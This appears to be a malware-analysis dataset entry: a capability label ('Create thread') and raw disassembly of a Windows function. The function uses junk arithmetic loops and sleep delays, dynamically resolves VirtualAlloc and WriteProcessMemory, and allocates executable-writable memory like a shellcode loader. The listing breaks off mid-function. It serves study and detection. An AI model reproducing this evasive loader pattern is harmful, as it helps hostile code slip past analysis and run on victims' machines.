Function at 0x140001cbf
Capabilities:
Create thread

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x10c], 0
mov dword [rbp + 0x108], 1
mov dword [rbp + 0x104], 2
mov dword [rbp + 0x100], 0
mov dword [rbp + 0xfc], 0
jmp 0x140001d29
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
sub eax, dword [rbp + 0x104]
add dword [rbp + 0x100], eax
add dword [rbp + 0xfc], 1
cmp dword [rbp + 0xfc], 0x3e7
jle 0x140001d09
mov dword [rbp + 0xf8], 0
jmp 0x140001d80
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
mov dword [rbp + 0x108], eax
mov eax, dword [rbp - 0x48]
mov dword [rbp + 0x104], eax
add dword [rbp + 0xf8], 1
cmp dword [rbp + 0xf8], 0x1f3
jle 0x140001d41
mov qword [rbp + 0x18], 0x16d26c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
jne 0x140001de7
lea rax, str.Failed_to_get_handle_to_kernel32.dll
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1401744a0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x140003a93
mov dword [rbp + 0xf4], 0
jmp 0x140001e13
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
sub eax, dword [rbp + 0x104]
add dword [rbp + 0x100], eax
add dword [rbp + 0xf4], 1
cmp dword [rbp + 0xf4], 0x3e7
jle 0x140001df3
mov dword [rbp + 0xf0], 0
jmp 0x140001e6a
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
mov dword [rbp + 0x108], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x104], eax
add dword [rbp + 0xf0], 1
cmp dword [rbp + 0xf0], 0x1f3
jle 0x140001e2b
mov dword [rbp + 0xec], 0
jmp 0x140001ec0
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0xec]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xec]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
mov dword [rbp + 0x100], eax
add dword [rbp + 0xec], 1
cmp dword [rbp + 0xec], 0x63
jle 0x140001e82
mov dword [rbp + 0xe8], 0
jmp 0x140001f9f
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0xe8]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xe8]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
mov dword [rbp + 0x100], eax
mov ecx, dword [rbp + 0xe8]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
test edx, edx
jne 0x140001f98
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
mov r8d, eax
mov ecx, dword [rbp + 0xe8]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea ebx, [rdx + 1]
mov eax, dword [rbp + 0x104]
cdq
idiv ebx
mov edx, eax
mov eax, r8d
sub eax, edx
add dword [rbp + 0x100], eax
add dword [rbp + 0xe8], 1
cmp dword [rbp + 0xe8], 0xf9
jle 0x140001ed8
mov dword [rbp + 0xe4], 0
jmp 0x140002067
mov eax, dword [rbp + 0xe4]
imul eax, dword [rbp + 0x100]
mov ecx, dword [rbp + 0x10c]
mov edx, dword [rbp + 0x108]
add edx, ecx
add eax, edx
mov edx, dword [rbp + 0xe4]
lea ebx, [rdx + 1]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
sub dword [rbp + 0x100], eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add edx, eax
mov eax, dword [rbp + 0x104]
add eax, edx
mov edx, dword [rbp + 0xe4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x10c], edx
mov eax, dword [rbp + 0x108]
imul eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xe4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x108], edx
mov eax, dword [rbp + 0x104]
sub eax, dword [rbp + 0x10c]
mov edx, eax
mov eax, dword [rbp + 0x108]
add eax, edx
mov edx, dword [rbp + 0xe4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x104], edx
add dword [rbp + 0xe4], 1
cmp dword [rbp + 0xe4], 0x63
jle 0x140001fbe
mov dword [rbp + 0xe0], 0
jmp 0x1400020e1
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
sub eax, dword [rbp + 0x104]
add dword [rbp + 0x100], eax
mov edx, dword [rbp + 0xe0]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x1400020da
mov eax, dword [rbp + 0xe0]
add dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
add dword [rbp + 0x108], eax
add dword [rbp + 0xe0], 1
cmp dword [rbp + 0xe0], 0x1f3
jle 0x140002080
mov dword [rbp + 0xdc], 0
jmp 0x14000216c
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov dword [rbp - 0x40], eax
mov ecx, dword [rbp + 0xdc]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
imul eax, dword [rbp - 0x40]
add dword [rbp + 0x100], eax
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
mov dword [rbp + 0x108], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp + 0x104], eax
add dword [rbp + 0xdc], 1
cmp dword [rbp + 0xdc], 0xc7
jle 0x1400020f9
mov dword [rbp + 0xd8], 0
jmp 0x1400021fd
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0xd8]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xd8]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
add dword [rbp + 0x100], eax
mov edx, dword [rbp + 0xd8]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x32
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x1400021f6
mov eax, dword [rbp + 0x10c]
sub eax, dword [rbp + 0x108]
add dword [rbp + 0x104], eax
add dword [rbp + 0xd8], 1
cmp dword [rbp + 0xd8], 0x12b
jle 0x140002184
mov dword [rbp + 0xd4], 0
jmp 0x1400022c1
mov dword [rbp + 0xd0], 0
jmp 0x1400022ad
mov eax, dword [rbp + 0xd4]
imul eax, dword [rbp + 0xd0]
add dword [rbp + 0x10c], eax
mov edx, dword [rbp + 0xd4]
mov eax, dword [rbp + 0xd0]
add eax, edx
sub dword [rbp + 0x108], eax
mov eax, dword [rbp + 0xd0]
lea ebx, [rax + 1]
mov eax, dword [rbp + 0xd4]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
lea edx, [rax + 1]
mov eax, dword [rbp + 0x104]
imul eax, edx
mov dword [rbp + 0x104], eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add edx, eax
mov eax, dword [rbp + 0x104]
add eax, edx
mov edx, dword [rbp + 0xd4]
lea ebx, [rdx + 1]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
add dword [rbp + 0x100], eax
add dword [rbp + 0xd0], 1
cmp dword [rbp + 0xd0], 4
jle 0x14000222b
add dword [rbp + 0xd4], 1
cmp dword [rbp + 0xd4], 0x3e7
jle 0x14000221c
mov rax, qword [rbp + 0x10]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 8], rax
mov dword [rbp + 0xcc], 0
jmp 0x1400023c2
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0xcc]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xcc]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
mov dword [rbp + 0x100], eax
mov ecx, dword [rbp + 0xcc]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
test edx, edx
jne 0x1400023bb
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
mov r8d, eax
mov ecx, dword [rbp + 0xcc]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea ebx, [rdx + 1]
mov eax, dword [rbp + 0x104]
cdq
idiv ebx
mov edx, eax
mov eax, r8d
sub eax, edx
add dword [rbp + 0x100], eax
add dword [rbp + 0xcc], 1
cmp dword [rbp + 0xcc], 0xf9
jle 0x1400022fb
mov dword [rbp + 0xc8], 0
jmp 0x14000248a
mov eax, dword [rbp + 0xc8]
imul eax, dword [rbp + 0x100]
mov ecx, dword [rbp + 0x10c]
mov edx, dword [rbp + 0x108]
add edx, ecx
add eax, edx
mov edx, dword [rbp + 0xc8]
lea ebx, [rdx + 1]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
sub dword [rbp + 0x100], eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add edx, eax
mov eax, dword [rbp + 0x104]
add eax, edx
mov edx, dword [rbp + 0xc8]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x10c], edx
mov eax, dword [rbp + 0x108]
imul eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xc8]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x108], edx
mov eax, dword [rbp + 0x104]
sub eax, dword [rbp + 0x10c]
mov edx, eax
mov eax, dword [rbp + 0x108]
add eax, edx
mov edx, dword [rbp + 0xc8]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x104], edx
add dword [rbp + 0xc8], 1
cmp dword [rbp + 0xc8], 0x63
jle 0x1400023e1
mov dword [rbp + 0xc4], 0
jmp 0x140002504
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
sub eax, dword [rbp + 0x104]
add dword [rbp + 0x100], eax
mov edx, dword [rbp + 0xc4]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x1400024fd
mov eax, dword [rbp + 0xc4]
add dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
add dword [rbp + 0x108], eax
add dword [rbp + 0xc4], 1
cmp dword [rbp + 0xc4], 0x1f3
jle 0x1400024a3
mov dword [rbp + 0xc0], 0
jmp 0x14000258f
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov dword [rbp - 0x3c], eax
mov ecx, dword [rbp + 0xc0]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
imul eax, dword [rbp - 0x3c]
add dword [rbp + 0x100], eax
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
mov dword [rbp + 0x108], eax
mov eax, dword [rbp - 0x3c]
mov dword [rbp + 0x104], eax
add dword [rbp + 0xc0], 1
cmp dword [rbp + 0xc0], 0xc7
jle 0x14000251c
mov dword [rbp + 0xbc], 0
jmp 0x140002620
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0xbc]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xbc]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
add dword [rbp + 0x100], eax
mov edx, dword [rbp + 0xbc]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x32
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002619
mov eax, dword [rbp + 0x10c]
sub eax, dword [rbp + 0x108]
add dword [rbp + 0x104], eax
add dword [rbp + 0xbc], 1
cmp dword [rbp + 0xbc], 0x12b
jle 0x1400025a7
mov dword [rbp + 0xb8], 0
jmp 0x1400026e4
mov dword [rbp + 0xb4], 0
jmp 0x1400026d0
mov eax, dword [rbp + 0xb8]
imul eax, dword [rbp + 0xb4]
add dword [rbp + 0x10c], eax
mov edx, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb4]
add eax, edx
sub dword [rbp + 0x108], eax
mov eax, dword [rbp + 0xb4]
lea ebx, [rax + 1]
mov eax, dword [rbp + 0xb8]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
lea edx, [rax + 1]
mov eax, dword [rbp + 0x104]
imul eax, edx
mov dword [rbp + 0x104], eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add edx, eax
mov eax, dword [rbp + 0x104]
add eax, edx
mov edx, dword [rbp + 0xb8]
lea ebx, [rdx + 1]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
add dword [rbp + 0x100], eax
add dword [rbp + 0xb4], 1
cmp dword [rbp + 0xb4], 4
jle 0x14000264e
add dword [rbp + 0xb8], 1
cmp dword [rbp + 0xb8], 0x3e7
jle 0x14000263f
mov rax, qword [rbp + 0x10]
lea rdx, str.WriteProcessMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp], rax
mov dword [rbp + 0xb0], 0
jmp 0x140002759
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0xb0]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xb0]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
mov dword [rbp + 0x100], eax
add dword [rbp + 0xb0], 1
cmp dword [rbp + 0xb0], 0x63
jle 0x14000271b
mov rax, qword [rbp + 0x10]
lea rdx, str.CloseHandle
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp], 0
je 0x14000278f
cmp qword [rbp - 8], 0
jne 0x140002817
mov dword [rbp + 0xac], 0
jmp 0x1400027d9
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0xac]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xac]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
mov dword [rbp + 0x100], eax
add dword [rbp + 0xac], 1
cmp dword [rbp + 0xac], 0x63
jle 0x14000279b
lea rax, str.Failed_to_retrieve_function_addresses
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1401744a0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x140003a93
mov dword [rbp + 0xa8], 0
jmp 0x1400028ed
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0xa8]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xa8]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
mov dword [rbp + 0x100], eax
mov ecx, dword [rbp + 0xa8]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
test edx, edx
jne 0x1400028e6
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
mov r8d, eax
mov ecx, dword [rbp + 0xa8]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea ebx, [rdx + 1]
mov eax, dword [rbp + 0x104]
cdq
idiv ebx
mov edx, eax
mov eax, r8d
sub eax, edx
add dword [rbp + 0x100], eax
add dword [rbp + 0xa8], 1
cmp dword [rbp + 0xa8], 0xf9
jle 0x140002826
mov dword [rbp + 0xa4], 0
jmp 0x1400029b5
mov eax, dword [rbp + 0xa4]
imul eax, dword [rbp + 0x100]
mov ecx, dword [rbp + 0x10c]
mov edx, dword [rbp + 0x108]
add edx, ecx
add eax, edx
mov edx, dword [rbp + 0xa4]
lea ebx, [rdx + 1]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
sub dword [rbp + 0x100], eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add edx, eax
mov eax, dword [rbp + 0x104]
add eax, edx
mov edx, dword [rbp + 0xa4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x10c], edx
mov eax, dword [rbp + 0x108]
imul eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0xa4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x108], edx
mov eax, dword [rbp + 0x104]
sub eax, dword [rbp + 0x10c]
mov edx, eax
mov eax, dword [rbp + 0x108]
add eax, edx
mov edx, dword [rbp + 0xa4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x104], edx
add dword [rbp + 0xa4], 1
cmp dword [rbp + 0xa4], 0x63
jle 0x14000290c
mov dword [rbp + 0xa0], 0
jmp 0x140002a2f
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
sub eax, dword [rbp + 0x104]
add dword [rbp + 0x100], eax
mov edx, dword [rbp + 0xa0]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002a28
mov eax, dword [rbp + 0xa0]
add dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
add dword [rbp + 0x108], eax
add dword [rbp + 0xa0], 1
cmp dword [rbp + 0xa0], 0x1f3
jle 0x1400029ce
mov dword [rbp + 0x9c], 0
jmp 0x140002aba
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov dword [rbp - 0x38], eax
mov ecx, dword [rbp + 0x9c]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
imul eax, dword [rbp - 0x38]
add dword [rbp + 0x100], eax
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
mov dword [rbp + 0x108], eax
mov eax, dword [rbp - 0x38]
mov dword [rbp + 0x104], eax
add dword [rbp + 0x9c], 1
cmp dword [rbp + 0x9c], 0xc7
jle 0x140002a47
mov dword [rbp + 0x98], 0
jmp 0x140002b4b
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0x98]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0x98]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
add dword [rbp + 0x100], eax
mov edx, dword [rbp + 0x98]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x32
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002b44
mov eax, dword [rbp + 0x10c]
sub eax, dword [rbp + 0x108]
add dword [rbp + 0x104], eax
add dword [rbp + 0x98], 1
cmp dword [rbp + 0x98], 0x12b
jle 0x140002ad2
mov dword [rbp + 0x94], 0
jmp 0x140002c0f
mov dword [rbp + 0x90], 0
jmp 0x140002bfb
mov eax, dword [rbp + 0x94]
imul eax, dword [rbp + 0x90]
add dword [rbp + 0x10c], eax
mov edx, dword [rbp + 0x94]
mov eax, dword [rbp + 0x90]
add eax, edx
sub dword [rbp + 0x108], eax
mov eax, dword [rbp + 0x90]
lea ebx, [rax + 1]
mov eax, dword [rbp + 0x94]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
lea edx, [rax + 1]
mov eax, dword [rbp + 0x104]
imul eax, edx
mov dword [rbp + 0x104], eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add edx, eax
mov eax, dword [rbp + 0x104]
add eax, edx
mov edx, dword [rbp + 0x94]
lea ebx, [rdx + 1]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
add dword [rbp + 0x100], eax
add dword [rbp + 0x90], 1
cmp dword [rbp + 0x90], 4
jle 0x140002b79
add dword [rbp + 0x94], 1
cmp dword [rbp + 0x94], 0x3e7
jle 0x140002b6a
lea rax, str.___Durmiendo_3_segundos..
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1401744a0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0xbb8
call sym.customSleep_unsigned_int_
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
mov dword [rbp + 0x8c], 0
jmp 0x140002c8d
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
sub eax, dword [rbp + 0x104]
add dword [rbp + 0x100], eax
add dword [rbp + 0x8c], 1
cmp dword [rbp + 0x8c], 0x3e7
jle 0x140002c6d
mov dword [rbp + 0x88], 0
jmp 0x140002ce4
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov dword [rbp - 0x34], eax
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
mov dword [rbp + 0x108], eax
mov eax, dword [rbp - 0x34]
mov dword [rbp + 0x104], eax
add dword [rbp + 0x88], 1
cmp dword [rbp + 0x88], 0x1f3
jle 0x140002ca5
mov dword [rbp + 0x84], 0
jmp 0x140002d3a
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0x84]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0x84]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
mov dword [rbp + 0x100], eax
add dword [rbp + 0x84], 1
cmp dword [rbp + 0x84], 0x63
jle 0x140002cfc
mov r10, qword [rbp + 8]
mov rax, qword [rbp + 0x18]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140003a8e
lea rax, str.___Durmiendo_3_segundos..
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1401744a0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0xbb8
call sym.customSleep_unsigned_int_
mov dword [rbp + 0x80], 0
jmp 0x140002e7c
mov eax, dword [rbp + 0x100]
imul eax, dword [rbp + 0x80]
mov ecx, eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add eax, edx
sub eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0x80]
lea ebx, [rdx + 1]
cdq
idiv ebx
add eax, ecx
mov dword [rbp + 0x100], eax
mov ecx, dword [rbp + 0x80]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
test edx, edx
jne 0x140002e75
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
mov r8d, eax
mov ecx, dword [rbp + 0x80]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea ebx, [rdx + 1]
mov eax, dword [rbp + 0x104]
cdq
idiv ebx
mov edx, eax
mov eax, r8d
sub eax, edx
add dword [rbp + 0x100], eax
add dword [rbp + 0x80], 1
cmp dword [rbp + 0x80], 0xf9
jle 0x140002db5
mov dword [rbp + 0x7c], 0
jmp 0x140002f2f
mov eax, dword [rbp + 0x7c]
imul eax, dword [rbp + 0x100]
mov ecx, dword [rbp + 0x10c]
mov edx, dword [rbp + 0x108]
add edx, ecx
add eax, edx
mov edx, dword [rbp + 0x7c]
lea ebx, [rdx + 1]
cdq
idiv ebx
mov ecx, edx
mov eax, ecx
sub dword [rbp + 0x100], eax
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
add edx, eax
mov eax, dword [rbp + 0x104]
add eax, edx
mov edx, dword [rbp + 0x7c]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x10c], edx
mov eax, dword [rbp + 0x108]
imul eax, dword [rbp + 0x104]
mov edx, dword [rbp + 0x7c]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x108], edx
mov eax, dword [rbp + 0x104]
sub eax, dword [rbp + 0x10c]
mov edx, eax
mov eax, dword [rbp + 0x108]
add eax, edx
mov edx, dword [rbp + 0x7c]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x104], edx
add dword [rbp + 0x7c], 1
cmp dword [rbp + 0x7c], 0x63
jle 0x140002e98
mov dword [rbp + 0x78], 0
jmp 0x140002f9a
mov eax, dword [rbp + 0x10c]
imul eax, dword [rbp + 0x108]
sub eax, dword [rbp + 0x104]
add dword [rbp + 0x100], eax
mov edx, dword [rbp + 0x78]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002f96
mov eax, dword [rbp + 0x78]
add dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x104]
add dword [rbp + 0x108], eax
add dword [rbp + 0x78], 1
cmp dword [rbp + 0x78], 0x1f3
jle 0x140002f42
mov dword [rbp + 0x74], 0
jmp 0x140003019
mov edx, dword [rbp + 0x10c]
mov eax, dword [rbp + 0x108]
